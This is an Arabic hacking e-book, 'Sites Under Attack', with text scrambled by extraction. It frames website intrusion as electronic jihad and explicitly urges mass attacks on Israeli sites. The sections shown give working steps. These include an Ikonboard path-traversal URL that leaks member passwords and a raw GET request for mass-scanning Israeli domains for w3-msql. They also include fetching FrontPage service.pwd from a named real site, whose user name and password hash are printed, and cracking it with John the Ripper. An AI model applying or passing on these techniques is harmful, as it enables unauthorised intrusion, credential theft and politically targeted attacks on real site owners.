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Tips Club
المكتبة العربية
http://www.TipsClub.com/
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ت  حتویا   الم
  

ة .١  .مقــدـمـــ
ل  • و لأ صل ا صطلحات أساسیة((الف وم  ))مهارات 

 .كیفیة البحث في الإنترنت .٢
 .الإختراق العشوائي .٣
والمثلى في اختراق المواقع .٤ صحیحة   .الطریقة ال
ن الـ .٥  .DNSمعلومات ع
ف  .٦  .htaccessشرح مل
 .FTPنظام نقل الملفات  .٧
طریق   .٨ ن   .FTPالإختراق ع
ل خدمة  .٩  .Fingerبروتوكو

١  .secure shellشرح الـ  .٠
١  .Buffer Overflowsشرح معنى الـ  .١
١ وعلاقتها بالإنترنتCGIالـ .٢   . 

صل الثاني • واالتخفي((الف  ))الحمایة 
١ و .٣ ن  لأم   .في الإنترنت))) التخفي(((ا
١  .حمایة هویتك في النت .٤
١ وغطي افعالك .٥ سك   .احمي نف
١  .حمایة المنتدیات .٦
١ ت .٧ ن الشبكا  .أم
١ ن في اختراق المواقع .٨ صطلحات مهمة للمبتدئی  .م
١  .داینامیكیة تدمیر المواقع .٩
 .شرح برنامج الدرة لتدمیر المواقع .٢٠
ن برامج .٢١  .تدمیر المواقع بدو
ن  .٢٢  .Routing in the Internetمعلومات ع

صل الثالث • لأنظمة((الف وا سیرفرات  ن ال  ))مقتطفات ع
طریق الیونیكود  .٢٣ ن  لالجز(الإختراق ع و لأ   .)ء ا
طریق الیونیكود  .٢٤ ن  ء الثاني(الإختراق ع  .)الجز
ن ثغرات الیونیكود .٢٥ ن كیفیة الاستفادة م  .معلومات عامة ع
سیرفر  .٢٦  .IISالدلیل الكامل لإختراق 
وبعمق في الـ .٢٧ صلة   .UniCodeدراسة مف
ب على عملیة الإختراق بواسطة الیونیكود .٢٨  .تدری
ن الكوكیز .٢٩ صل ع س مف  .در
ن الموا .٣٠  .قع التي تدعم الفرونت بیجمعلومات مهمة ع
 .في اختراق المواقع بثغرة الفرونت بیج) >ج&س<( .٣١
 . لتحلیل الموقعShadow Scan Securityشرح برنامج  .٣٢
ف الباسورد في أنظمة التشغیل .٣٣ وجود مل ن   .اماك
ل(اختراق الموقع  .٣٤ و لأ ء ا  .)الجز
ء الثاني(اختراق المواقع  .٣٥  .)الجز
س في اختراق المواقع  .٣٦  .)متوسط(در
 .SQLق الـاخترا .٣٧
ن الـ .٣٨ صل ع س مف  .SQLدر
ف الهاك في اختراق المواقع .٣٩ س لإحترا  .در
س في اختراق المواقع .٤٠ ل لینك  .استغلا
س .٤١ طریق لینك ن  ف اختراق المواقع ع ء في احترا ف إلى الیا لأل ن ا صل م  .شرح مف
ن الـ .٤٢ س ع ل (PHP Shellدر و لأ ء ا  .)الجز
ن الـ .٤٣ س ع ء الثاني (PHP Shellدر  .)الجز
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ن الـ .٤٤ س ع ء الثالث (PHP Shellدر  .)الجز
 .anmapشرح أداة  .٤٥
ن ثغرات .٤٦ سیرفرات بدو  .طریقة لإقتحام ال
٤٧. Cross Site Scripting. 
سجل الزوار .٤٨  .كود تدمیر 
ن الثغرات .٤٩ صل ع  .شرح شبه مف
٥ ستخدم الثغرات .٠ ف ت  .كی
٥  .تمتع بإختراق المواقع الإسرائیلیة مع هذه الثغرة .١
٥  .ثغرة نیوك .٢
٥  .Chunkedثغرة  .٣
٥ ع .٤ ن نو  .vBulletin2,2,0 اختراق المنتدیات م
٥  .vBulletin 2,2,9ثغرة في منتدیات .٥
٥  .phpbb 2.0.0اختراق منتدیات  .٦
٥ جمیلة في  .٧  . في المواقعphpثغرة 
٥  .php nukeثغرة في  .٨
٥  .Bandmin 1.4ثغره في    .٩
ع  .٦٠ ن المنتدیاتXMBثغرة في نو  . م
 philboard.        شرح ثغرة  .٦١
 .uploader.phpشرح ثغرة  .٦٢
ضل المنتدیات العربیة للها .٦٣  .كرأف
والهاك الإنجلیزیة .٦٤ ن  لأم ضل مواقع ا  .أف
  .الخاتمة .٦٥
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م حی ر حمن ال ر   بسم االله ال
حمد  س والجان نبینا م الله رب العالمین والصلاة والسلام الأتمان الأكملان على سید الثقلان وهادي الان حمد  ال

را  م تسلیما كثی حبة وسل   ....سید ولد عدنان وعلى اله وص
حببنا ان یكون لنا من م حالي ا حوج ما نكون الیه الان في وقتنا ال حن في ا م والذي ن ق اهمیة هذا العل نطل

ضع هذا والذي نسأل االله یوفقنا  نصیب في الجهاد الا االله بقدر ما نستطیع فكان هذا الكتاب بذرة عملنا المتوا
ر والنفع لكل من اراد ان یعلي دین االله ف ء االله علینا وان یسددنا لما فیه الخی ت اعدا ل فلقد تكالب ي هذا المجا

حیة فیجب الاستعداد للمواجهة واعداد  صوب ونا روب الالكترونیة تغزونا من كل  ح ت ال من كل جانب وبدأ
ق قول االله تعالى  ل ترهبون به عدو االله ((العدة من مطل و أعدوا لهم ما استطعتم من قوة ومن رباط الخی

حببنا ان نبدأ في)) وعدوكم   سلسلة تعلیمیة هدفها ما قد ذكرناه سابقا من تقدیم ید العون والمساعدة بما فا
حدة على اعدائنا  حتى نكون یدا وا خواننا    ....فتح االله علینا وعلى ا

ج   رام م دراسة وافیة والابتعاد عن كل ما یسمى بالب ت في هذا الكتاب التركیز على دراسة هذا العل حبب فا
ر من نفعها ولنب ررها اكب ت فض ركزة والمتقنه على الانظمة والشبكا دأ سویة بالدراسة الوافیة الم

حمایة انفسنا قبل كل شئ في هذا العالم  ریقنا للسیطرة الالكترونیة و ط ت والتوسع فیها فهي  را رف والسی
ء االله  حتكار من أعدا ر علیه قراصنة  الا ح الذي یسیط   (......) .المفتو

  
ل فمن ار ر والثواب ولقد بدأنا ولا ندعي الكما ت فله الاج اد تقدیم المساعدة او مد ید العون باي مشاركة كان

ضوعیة او  حة او مشاركة مو ح او نصی ء باقترا خ ... من االله تعالى  سوا   ال
  

طلقنا علیه اسم  ء الأول من هذا الكتاب الذي ا ت الهجوم --وهذا هو الجز ح Sites Under ((  -- مواقع ت
Attack((ء الثا خدمة دینكم   وترقبوا الجز حاتكم وما تجود به انفسكم في    ....ني قریبا وفي انتظار اقترا

  
حدین  ح ذو  ریئ ذمتنا امام االله من كل استخدام سئ لما سنقدمه لكم فهو سلا را فانا نب خی اللهم هل .... وا

  ...بلغنا اللهم فاشهد 
   

ضیع من كتا ضفنا موا ضیع كلها من كتاباتنا فأ خوة ممن قد ولقد نوینا ان تكون الموا باتنا ولكن رأینا من الا
ق  ضیع لذلك تم ارفا ض الموا ت وما كتبوه هو أفضل مما سنكتبه في بع ض المجالا فتح االله علیهم في بع

حة   ض ء الوا خطا ت اللغویة او الا ق بالتعدیلا ل الا ما یتعل ر تعدی ضیعهم كما هي من غی   .....موا
ضیع ما یقارب  ر والمثوبة والبقیة % ٤٠اذن فنصیبنا من الموا ل االله لهم الاج خواننا ونسا هي من نصیب ا

ت ستخدم امتهم ودینهم الى ان تقوم الساعة    ....على ما قدموه من معلوما
  

خوانكم  ت ا حیا   وتقبلوا ت
حفوظة لـ ق م حقو   -:جمیع ال

+++++++++++++++++++  
      +hi_HaCkEr – دهاجمو بأ

MaXhAk2000                +  
+++++++++++++++++++  
   

ت العاصفة   vb/com.asfh3.www://http ****منتدیا
ق،،،   واالله الموف
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لأول ل ا ص     الف
  

<><><><><><><><><><><><><><><><><><><><><>  

ت  (( صطلحا ت و مهارا
سیة سا   ))         أ
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 " كیفیة البحث في الإنترنت "
  

$$$$$$$$$$$ 
    بلاك هنتر : الكاتب

$$$$$$$$$$$  
 

ق مواقع ل ضوع بالنسبة لكل مختر حول نظام معین او لأهمیة هذا المو راجع  رید من م حصل على ما ی كي ی
حث واسالوا مخترقي المواقع عن  ت الب ركا ح ر الناس استخداما لم ج معین او ثغرة معینة فهو من اكث رنام ب

حث بالنسبة لهم  ت الب ركا ح   .....اهمیة م
 

حصل على ما ترید و ت اصلا الا لأجلك لت حث ما وجد ت الب ركا ح م ان م ت ممكن  باقصرولا بد ان تعل ولا بد  وق
ت  ركا ح ر في م ج هك رام حث مثلا عن ب ل معین على الأغلب فلا تب ص في مجا ضا ان اغلبها متخص ف ای ان تعر

حث سیاسیة مثلا وهكذا    ......ب
  

ت  ف ماذا كتب رك الذكي فهو یعر ح ره الم ت في كتابة الكلمة بالنسبه مثلا للجوجل انا اعتب خطأ ت قد أ وان كن
حث سؤال فهو تلقائیا سیعطیك في ب ج الب ت تقصد كذا ... دایة نتائ حث ... هل ان ت تب وغالبا ما تجد الذي كن

حث  ت نتیجة الب حا صف ل    . عنه في اوائ
ضا ذكي ولكن ذكائه ء بالنسبه للیاهو هو ای ر ذكا حیث انه یقدم لك المواقع التجاریه یعتب ل تجاري   التي یتعام

حث عنه  ت تب رك ثم المواقع العامه وهي ما ثم المواقع التجاریه امعها وفیها ما كن ح ل معها الم لتي لا یتعام
حث عنه  ت تب    ......كن

ر / سؤال  ت اجد الكثی را فمثلا عندي في المنتدى وكذلك في جمیع المنتدیا حظها كثی ر من الناس وانا الا الكثی
ج السب سفن  رنام ق والامثل!!!!!!!! مثلا یطلب مثلا ب خترا ج ا رنام ر ب ل عن أشه رة لماذ ؟ هذا مثا   ....ة كثی

ره ... حسنا  ج او موقع معین او غی رنام ص الذي تطلب منه ب ق بینك وبین الشخ ر ت مالف وهو یستطیع قلي ان
ت لا تستطیع    ؟؟؟ایجاده وان

ق بینك وب// صح  ر ص الف حث ..ین هذا الشخ ت الب ركا ح ل مع م ص یتمیز عنك بانه یجید التعام ان هذا الشخ
  ....على عكسك تماما 
حث الان سنقوم بش ریقة المثلى لعملیة الب ح الط   :ر

م المواقع ر تقسی ریقه بسیطه جدا وهي عب   : الى ط
حث مهتمة بها  ت ب ركا ح   مواقع تجاریه ولها م
حث مهمة بها  ت ب ركا ح ج ولها م رام   مواقع ب

حث مهتمة بها ت ب ركا ح   مواقع ملتیمیدیا ولها م
حث مهتمة بها ت ب ركا ح خباریه ولها م   مواقع سیاسیه وا

حث مهتمة بهامواقع هاك و ت ب ركا ح   لها م
حث مهتمة بها ت ب ركا ح   مواقع كراك ولها م

حث مهتمة بها ت ب ركا ح   مواقع سكیوریتي ولها م
حث مهتمة بها ت ب ركا ح ر ولها م   مواقع هاردوی

حث مهتمة بها ت ب ركا ح ت ولها م   منتدیا
ضمنه  ت  ر جمیع المجالا حث جوجل لتوف رك ب ح ریبا ولسوابقة المشهود وانا افضل دائما م له بها من كل تق

ر  ر فهو بالنسبة لي افضل موقع لكل هك   .....هك
حث عن  ت الب ج ؟طیب الان اذا أرد رنام ق للوصول لهذا الب ر ع الط ر ج معین ما هي افضل واس رنام   ب

ت قلیلا ستجیب علي بهذا الاجابة  ر   ... انا متأكد بانك لو فك
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ج الم رنام ضع اسم الب ج وأ رام حث عن الب ج طلوب وفي نهایاولا اذهب الى مواقع الب رنام ضع ة اسم الب  أ
ج  رام    الامتداد الذي غالبا ما تكون علیه هذه الب

Prog.zip    أو   prog.exe        
حثمثلا انا ا ره ن عب رجع لها لزیادة الاطلاع  ماذا أفعل أ ثغ ف مصدرها وارید م ر ف نوعها ولكني لا أع ر ع

  ؟؟؟ 
ت الـ  را ختصارها  واللCross Site Scripteولتكن مثلا ثغ   CSS او XSSي ا

حث عن كلمة  قXSSاذهب اولا لمواقع السكیوریتي اب حث لا بأس بها عن  كل ما یتعل   ستكون لدیك نتیجة ب
  xss+ exploit + bugو اذهب الى جوجل واكتب   أبها 

ق الب ق نطا ضی حث عنه لذلك یجب ان ن راجع المتعلقة بما نب ر من المواقع والم حث  الجوجل سیعطینا كمیة كبی
حث بعلامه  حدید الب حث عن و ( + )حول المطلوب فقط ولذلك علي بت ت فعلي ان اب  و Bugsبجز  اذا ارد

ت  رهباسم اكسبلوی   XSS+BUG+EXPLOIT  : فعلي ان اكتب  الثغ
حثعن مثلا  ت اب را   IIS+exploit+bug  : سأكتب IIS ثغ
  وهكذا

ضع لكم مجموعه من المواقع حث  التي قد تفیدكم في عملیةالان سا   : الب
  

ر   ق أكث ح انا أسمي هذا الموقع بخادم الهكرز وسید الهكرز ووووو كل ما ستتطلقه على هذا الموقع فهو یست
 :com.google.www://http/  
  

حث عادیه ومتقدمه  ت ب ركا ح  /com.yahoo.www://http/ - com.altavista.www://http: م
- com.lycos.www://http/ - com.lycos.hotbot://http/  

  
خباریه   - news/arabic/hi/uk.co.bbc.news://http: مواقع سیاسیه وا

/com.cnn.arabic://http - /net.aljazeera.www://http 
 

 - com.securiteam.www://http/ : مواقع سكیوریتي
/com.securityfocus.www://http - /com.ussrback.www://http - 
/com.ntbugtraq.www://http - /nu.ntsecurity.www://http - 
/com.ntsecurity.www://http  

ریدیة وأنا  خلال الاشتراك یقوائمهم الب ریدي من  ت على ب را ر الثغ خ وأنصح الجمیع بالاشتراك في تصلني ا
ریدیة  قوائمهم الب

 
ر com.nvidia://http - /com.susa.www://http - -on.drivers://http/ : مواقع هاردوی

/nz.net.line - /com.intel://http - /com.amdmb.www://http 
+++++++++++++++++++++++++++ 

حث  ت الب ركا ح ل مع م ت  المهمة في التعام ض المهارا ضا هنالك بع   :أی
حالیة * -* حث ال ج الب ضمن نتائ حث  ل جوجل  ..... الب حث هذه الخاصیة واقرب مثا ت الب ركا ح ض م تتیح بع

حث عن ثغرة معینة فاني اكتب مثلا  حث   exploitحیث اني مثلا لكي أب خیار الب حة ستجد    ثم بأسفل الصف
حالیة ضمن النتائ ج الموجودة فمثلا اكتب .... ج ال ضمن هذه النتائ حث عن ثغرتك  ف  list.php3فاب   لتعر

ج  رنام ضمن هذا الب   وهكذا .... الثغرة الموجودة 
ضا استخدم * -*    فمثلا –و + أی

Exploit + bug + anyprog  
ج   ث في جمیع النتائ ت الثلا حتوي على جمیع الكلما ج لا بد ان ت   فان النتائ
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Exploit - bug - anyprog 
 

ء  ث فان لم فضع الموجود سوا ت الثلا حتوي على هذه الكلما حسن ان تكون ت ج یست ره بان النتائ فانك تخب
  ..كلمتین او كلمة 

ر *       " -* ت هك   "أقوى منتدیا
ل الذي  رین كالمثا صغی حددها بقوسین  س الترتیب فاننا یجب ان ن ت وبنف ما حث عن مجموعة كل عند الب

  ... وهكذا... بلأعلى  
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 "الإختراق العشوائي " 
  

$$$$$$$$$  
  الكندور:الكاتب

$$$$$$$$$$  
                                       :                                       

  
ق العشوائي  - خترا   Random Hackingماهو الإـ
حث  - حیث یصبح یب ره ب ر الـ تطوی ت غی   CGIScriptsعلى إستثمارا
حصول علیها - ره بعد ال ف تستغل اي ثغ   كی

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
ق العشوائي  - خترا   Random Hackingماهو الإـ
  

ره جدا جاهزه  حدده ، وهذا سهل ویعود بمواقع كثی ره م ره من المواقع عن ثغ حث في كمیه كبی هو الب
ق ، م خترا لإ حث التي تعتمد على الـ ل ت الب ركا ح حث ، من م رك ب ح ح على م ل بسیط جدا ، رو  أو spidersثا
ت ( ، link:xxxx.cgi or pl وأكتب altavista.comالعناكب مثل  ضیا ح زورو في ریا ر إرجع لش

حث ف بإسم ) الب حث عن لنك لمل حث help.cgi ، link:help.cgiمثلا نب ردوده لك نتیجه للب  المواقع الم
حث في المصدر الكود Ikonboard تملك منتدى كلها حد منها وأب ت الذي HTML ، إفتح وا  عن السكرب

ت عنه  حث ض مكانه هنا help.cgiب ر ف این مكانه ، لنف -http://www.example.com/cgi لتعر
bin/help.cgi  

ر العنوان لیصبح  ف غی -http://www.example.com/cgiأكتب بعد المل
bin/help.cgi?helpon=../members/[member].cgi%00  

ر  حظه تغیی   طبعا[] بإسم عضو وبدون القوسین ] member[مع ملا
ره لـ المنتدى  رور وهذه الثغ ت العضو كامله ومن ظمنها كلمة الم ض لك معلوما ف یعر  Ikonboardسو

ر2.1.7 ل فقط فیوجد غی ت أبسط مثا ر ض ح حفظه لأني أ ل لا ت ضوعي ولكن هي بدایه ومثا س لب مو ه  وهذا لی
ت الـ  ف ملفا ت بل آلا خلال CGIScriptمئا ت مثل هذه واغلب إستثماراتها تكون من  را    url تملك ثغ

ف هذا وهو لغته  ف الأرشی ت شو ت السي جي آي سكریب ت ملفا را ت لثغ حصول على مثل هذه الإستثمارا لل
حث عن الـ     أو الإستثمارExploitروسیه أعتقد ولكن ما یهم لأننا نب

http://www.secure.f2s.com/eng_ver/bugs/  
حث لـ  رك الب ح ج مثلا وتضعه في م خذ إسم المنت / http://www.securiteam.comوممكن تأ

ت من قبل فتره  س فهي مفیده جدا أنا شارك ریده لـ سیكیورتي فوك ج ، أو تشترك في القائمه الب ف النتائ وتشو
ت السي جي آي  را س لثـغ ت بها وهي مختصه في الأمن ولی خبار وكل شئ وجدا أعجب ت ، یعني امن وا سكرب

ل عملیه ....  ج لتسهی رنام ر ، هو ب س بیج ج تقدمه سیكیورتي فوكسي بإسم سیكیورتي فوك رنام ویوجد ب
خبار ووو حصول على الأ خ...ال   ال

  
  
ر الـ  - ت غی حث على إستثمارا حیث یصبح یب ره ب   CGIScriptsتطوی
  

ق العشوائي إذا كان فعلا عشوائي ، یعني تخت خترا ق اي موقع ولو بدون سبب فهذه همجیه الإ ، لكن !! ر
ل اللي الكل یكرهها  رائی ف ، مثلا إس حنا في أنه ما یكون في شكل همجي ، أنا اقول لك كی ممكن نستفید منه إ

ق النار  ف إطلا رون الفلسطینیین بأوقا س لأجل أنهم یهود ، لا نكرههم لأنهم :) ، الذین یأم ، الكل یكرههم لی
ف من مواقعهم هذا هو ظلموا فلسطین ،  ١١٠٤ و co.il تنتهي بـ sites ١٢٦١٠ عندهم موقع فیه آلا
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sites تنتهي بـ org.il ٧٠ و sites تنتهي بـ ac.il ٧٨ و sites . تنتهي بـgov.il وهذه مهمه ، و 
٥٤ sites . تنتهي بـnet.il ٢٩ و sites . تنتهي بـmuni.il ٢٠٠٩ و sites تنتهي بـ com و ، 
١٣٧ sites . تنتهي بـnet و org - 121 sites . وedu - 4 sites . ، لعینهisrael.net - 84 

sites . وil - sites........ . ح الموقع هذا ت رو حصل على كل هذه السای عشان ت
http://iguide.co.il/sites/sites.htm  

  
حث  ت ب ركا ح   وفیه كمان م

  
http://www.achla.co.il/  

http://www.reshet.co.il/data/index.vs?dw=1  
http://www.maven.co.il/  
http://www.tapuz.co.il/  
http://www.walla.co.il/  

http://www.info.gov.il/find.pl  
  

رك أعدم منها واللي هو  ح   altavista.co.ilوفیه م
  

ت الموجوده في هذه المواقع ، یستخدم اللغه التي ی ص منا أن یصلح فرز للبیانا تقنها المهم على كل شخ
ء ثانیه معها ت بدون اشیا ف تكس ج یصلح فرز ویضعها في مل رنام   لیصنع ب

  
ج ، مثلا  حث فیها كلها عن منت ریقه سهله جدا ، أولا یتم الشبك مع / w3-msqlالعملیه الثانیه هي الب ، الط

ر proxy.isp.net.sa :8080بروكسي مثلا  رسل له أم روكسي GET وثم ی    ، مثلا ترسل للب
  
  

GET http://www.com.il/cgi-bin/w3-msql/ HTTP/1.0  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg ،*/*  

  
Accept-Language: ar-sa  

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98(  
Host: www.com.il  

Proxy-Connection: Keep-Alive  
  

روكسي أ ضار الموقع وهو یطلب من الب طلبنا لـ / http://www.com.il/cgi-binح -cgi، یتضح 
bin/w3-msql / حث عن كل المواقع التي یوجد ت سي جي آي ، ولكن نب را حث عن ثغ حقیقه لا نب ، في ال

ج  حد WWWMSQLبها المنت خذ وا ت كلها تأ ف تكس رائلیه مثلا التي جمعناها في مل  ، یعني المواقع الإس
رن ل في الب خ حد وتد حثا عن وا روكسي ب صممناه وترسل الى الب ج الذي  حفظ cgi-bin/w3-msqlام  وثم ی

ف التي تم إیجاد  ف ونشو حتى ننتهي من كل المواقع ، وثم نفتح المل خارجي ، وهكذا  ف  روكسي في مل رد الب
ج  م والا أي WWWMSQLالمنت س والا سیكیورتي تی خها والتي لم یوجد ، ونتوجه الى سیكیورتي فوك  دا
حث عن موقع ی م نجد w3-msqlعجبك واب  یمكن تطبیقه w3-msql لـ Exploit ، مثلا في سیكوتي تی

من المتصفح ، وهو هنا 
http://www.securiteam.com/exploits/2WUQBRFS3A.html  
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ج فیها أسمیها انا  حثا عن منت ص عده مواقع ب ح ریقه ف ق عشوائي ، Random Hackingط خترا  یعني إ
ت عن  حث ر أو لن تجد w3-msqlولكن لو فعلا ب ح تلقى كثی رائلیه فأنا أقول لك بأنك ما را  في المواقع الإس
حث عن  حفظ كل / vti_pvt_/شئ ، ممكن تب ج ، وطبعا بعد ما یتم  ت بی رون لترصد كل المواقع التي فیها ف

روكسي تكون بشكل  ت المسترجعه من الب ق HTMLالمعلوما ف یكون بنس ل المل خ ت   html*. عشان كذا أن
حه وتجد كل المواقع ، اللي كتب عنها واف  واللي The page cannot be displayed..ت

Forbddien واللي ....not found....  ت فاوند والا موجود ولكن ف اللي ن ردود تعر خ ، من هذه ال ال
ح بالوصول له  ر مسمو ف اللي موجود علیه واللي مو موجود ..غی ریقه تعر خ بهذه الط   والباقي علیك .....ال

  
  
حصول علیها - ره بعد ال ف تستغل اي ثغ   ؟؟كی
  

ت  حث عن فرجون c ما یبغا لها فلسفه ، كود urlإذا كان ء فممكن تب خطا ت فیه أ ت تشغله أو قابل رف  وما ع
حدثنا عنها في كوكب Batch وهو الذي یقابل Shell *.sh أو perlثاني لهـ ولكن بلغه   في ویندوز وت

رمجه ، من الدوس بعد ما ت الب ل أكتب لغا ر ف بی ت أكتی  بلغه exploit إذا كان الـ perl exploit.pl تثب
ت  ت التعلیقا ء تكون مكتوبه بین علاما رها في الكود نفسه ، وهذه الأشیا ء تغیی طبعا فیه أشیا ل ولكن  ر :) بی

ح بالصور  حیه لا تطلب شر ل ، في هذه النا ر ف شئ في بی إذا رجع لك رد :) وأكید بتواجه مشاكل إذا ما تعر
ق علامة  ری ط حفظ الخرج عن  ت تقراه ممكن ت ف مثلا < طویل ما قدر  perlوثم مسافه وإسم المل

exploit.pl > log.htm  
ض الـ  ل فقط تواجه فیه مشاكل ، لأن بع ر ف بی ج أكتی  كتب في الإصدار أربعه Exploitوبالنسبه للمنت

ر  ر لتغی ل لذلك قد تضط ر ف بی ل زین في أكتای خمسه وممكن ما یعم ر عندك أو تعدل في الكود وممكن  المفس
س  ره في اللغه ، وعلى فكره لیونك خب ل على (وهذا كله یطلب  ل ممتاز  )RedHat 6.2أعم ر ر بی فیه مفس

ت را ت الم را ل بعش ر ف بی   ...جدا افضل من أكتی
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 "الطریقة الصحیحة والمثلى في اختراق المواقع " 
  

$$$$$$$$$$$$$$$  
  marwan911 :الكاتب

$$$$$$$$$$$$$$$$  
                                             ...  

  
ت  خذ المعلوما ق واللي هي ا خترا خطوة في الا   اول 

ت اللي یدعمها ل علیه والنظام والخدما ف الموقع الفلاني شنهو الملقم اللي شغا   . یعني نعر
رها اثنین  ت اشه   ::الملقما

  
IIS :ت وهذه ملیانة ث تمن مایكروسوف را راتها. (غ ل مقفلة ثغ   ) ومواقع قلی

  
apache :صعب ختراقها شبه  ء العالم وا حا رمجین متوزعین في ان   . من مجموعة مب

  
  طیب 

حین عندنا موقع    ال
  

ت كلها  ت والمعلوما ل والملقم والخدما ف نظام التشغی   وشلون نعر
  

 net.tcraftne.www://http عندك الموقع 
   

خله    اد
  

ربع    تلاقي م
  

ق  ت اللي فو ف المعلوما حط فیه الموقع اللي تبي تعر   هنا ت
  

ض اللي هو  ت الابی حط موقع البی    whitehouse.orgمثلا ن
  

حظة ر : ملا ر / ولا :// httpنكتبه من غی خی   اللي بالا
  

http://uptime.netcraft.com/up/graph....whitehouse.org   
  

ح یطلع    لنا التالي را
  

The site www.whitehouse.org is running Microsoft-IIS/5.0 on Windows 
2000   
  طیب 

  
رفنا معلومتین مهمتین  حین ع   ال
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ل على الملقم  ء انه شغا    IIS5.0اول شي
  

ل على نظام ویندوز  ء شغا    ٢٠٠٠ثاني شي
  

  حلو 
  

ت  را ء نجرب ثغ ضوع( علیه IIS5.0اول شي حطها بعد المو ح ا ت نظام ) را را ف ثغ ء نشو إذا مانفع شي
ضوع (٢٠٠٠ویندوز  حط الموقع بعد المو ح ا   ) را

  
حاجة اسمها یوني كود ..... طیب  حین فیه  ق المتصفح  ......ال ری ط ق فیها عن    هذه تختر

ت  حطها بعد عنوان الموقعIISوماتمشي إلا مع ملقما طویلة ت حط امثلة .  وهي عبارة عن عناوین  ح ا را
  . علیها
ت؟ طیب  را طلع فیها ثغ ض انه ما ر   لنف

ت الموقع نفسه  حتویا ف م   نشو
  

رد اللي  ح ارفقه في ال راتها من الموقع اللي را ف إن كان عنده سجل زوار او منتدى او او او ونطلع ثغ نشو
ضوع   . بعد المو

  
ر اباتشي؟  رف   طیب لو كان السی

  
ل موقع ارانك  خذ مثا    www.arank.comخلونا نا

  
ت  حللناه بالنی ف النتیجة التالیة لو  ح نشو ت را   كراف

  
The site www.arank.com is running Apache/1.3.20 (Unix) 

mod_gzip/1.3.19.1a mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6 
mod_log_bytes/0.3 FrontPage/5.0.2.2510 mod_ssl/2.8.4 OpenSSL/0.9.6 

on Linux   
  

ء  ث اشیا   طیب هنا یهمنا ثلا
  
ج apache 1.3.20ملقم وهو ال ت بی رون ت FrontPage/5.0.2.2510 و دعم ف را  وهذه ملیانة ثغ

   Linuxوالثالث النظام وهو 
  

  طیب 
  

  الملقم 
  

حط هذه على جنب ت منها فن ض الإصدارا ق إلا بع خترا ت الصعبة الإ ء اباتشي من الملقما   . اول شي
  

ج  ت بی رون ف دعم الف   نشو
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ج ملیان ت بی رون ت زي ماقلنا الف را    ثغ
  

ریبا  رة تق راته قویة وكثی   وثغ
  

ره مامنه فایدة private_ و vti_pvt_منها مجلد  حتاجها غی    هذه اللي ن
  

ت مهمة وهي  ح نلاقي اربع ملفا ل المجلدین را خ  و users.pwd و service.pwdدا
authors.pwd و adminstators.pwd ف ر مل خط ر هذا ا    ویعتب

  
حد من الم ت هذه طیب لو قدرنا ننزل وا حظة الثغرة هذه موجودة ب (لفا من المواقع الموجودة % ٧٠ملا

ت ل ) عالن ل المثا ر هذا على سبی حها بالمفكرة ونلاقي السط   لو نزلناها نفت
goodyco:CalXS8USl4TGM   

  
   http://www.goody.com.sa/_vti_pvt/service.pwdوهذا من موقع قودي 

  
حین  ر goodycoطیب ال س مشف    CalXS8USl4TGM واللي هو  الیوزر والباس

  
ج اسمه  رنام    john the repaierوشلون ینفك؟ ینفك بب

  
ر  ف المشف حط المل ر ) مع الیوزر(تنزله وت ح لمجلد جوهن وتكتب السط حد وتفتح الدوس وترو بمجلد وا

   john -i PASSWORD.FILEالتالي 
  

س    وعاد استناه یطلع لك الباس
  

ح للفقرة الثالثة واللي هي  رو   النظام طیب ن
  

س    زي ماشفنا النظام هو لینك
  

ر  ت اكث را ر وثغ ت كثی ت و ماندریك وفیه منه إصدار ش؟ فیه رید ها س ای   لكن لینك
  

ح تواجهك مشكلتین    لكن هنا را
  

ل ول  ء معرفة النظام تقدر تطلعه من ابدا وتشغی ق telnetاول شي  واكتب عنوان الموقع یطلع لك النظام فو
  نوعه وإصدارته 

  
س اصلا المشكلة    الثانیة لازم یكون عندك لینك

  
راته بلغة ال  س فقط cعلشان ثغ    وهذه ماتشتغل إلا عاللینك

  
 ================  
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http://neworder.box.sk / ربع اللي عالیمین(هذا الموقع مفید جدا تكتب مثلا ق بالم  او IIS) فو
apache راته ج ویطلع لك ثغ رنام    او منتدى واصدارته او اي ب

  
http://www.ussrback.com / ل ح  ر جداً جداً ترو خطی  اللي عالیسار EXPLOITSالموقع هذا 

خ س و ویندوز و و و ال ت جمیع الانظمة من لینك را ختیار هنا ثغ  و perl و cومنوعة من .. وتختار اول ا
  ...یوني كود
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  " DNSمعلومات عن الـ" 
 

$$$$$$$$$$$$$$$$$$$  
  ACID BURN_EG: الكاتب

$$$$$$$$$$$$$$$$$$$ 
  
  ؟؟  ؟  DNSهو الـ  ما

============== 
 : DNS ختصار لكلمه ر ال Domain Name System هو ا رف ت  DNS و یتصل س عادة على بور
ت ال٥٣ حد المواقع  و استعمل ل لأ ت الاتصا ف تتصل DNS  مما یعنى انك اذا ارد به عن  لهذا الموقع فسو

ت  ق البور ری ف یترجم او و٥٣ط حول ال  سو و یعنى  translates alphabetical hostnames ی
,١١١٫١١١٫١١١مثل  IP ADRESSES  الى  com.asfh3.www://http/: اسم الموقع مثل 

حیح و عندما تتم العملیه تتصل بالموقع مباشره١١١ ص س  حو  و العك ل هذه تسمى و عملیه الت  ی
address resolution ل عنوان الموقع حلی ل او ت حوی ل به IP الى اى ت س لنستطیع الاتصا و ،  او العك

ر لعملیه ال DNS قبل ظهور ال خ ر ال. address resolution كان اسم ا لجعل  DNS  و لكن قد ظه
حیث قبل ظهور هذه رونة من ذي قبل  ر سهولة وم حفظها اكث ر عناوین المواقع و خول تذك  الخدمة فانك للد

ل له ip addressلموقع معین یجب علیك كتابة ال  خول الیه و كان الاسم المستعم   لهذا الموقع للد
address resolution قبل ال DNS ف اسمه ال كان و كان عباره  HOST FILE یتكون من مل

س اى المواقع ء الهوست  ف تتولى رعایتهالخاصه بهم و كان هذا المل IP عنواوین ال  و عن اسما
Stanford Research Institute's Network Information Center (SRI-NIC).  و

ث كان على هذا الراعى حوالى كل اسبوع و یمده بالعناوین الجدیده و (UPDATE) ان یجد  الجدول هذا 
ر ملفه او خ ت و على السیستم ادمین ان یجدد هو الا ر ل الارقام التى ظه ق اتصا ری ط ل عن  بینه و  FTP ا

راعى اى ر فعالة ومع .SRI-NIC بین ل ره مجدیة وغی ریقة غی وبعد فترة من الزمن رأو في ان هذه الط
ت كل ذلك أدى الى ظهور  ال خدمة الانترن  .لیفعل ذلك DNS تطور 

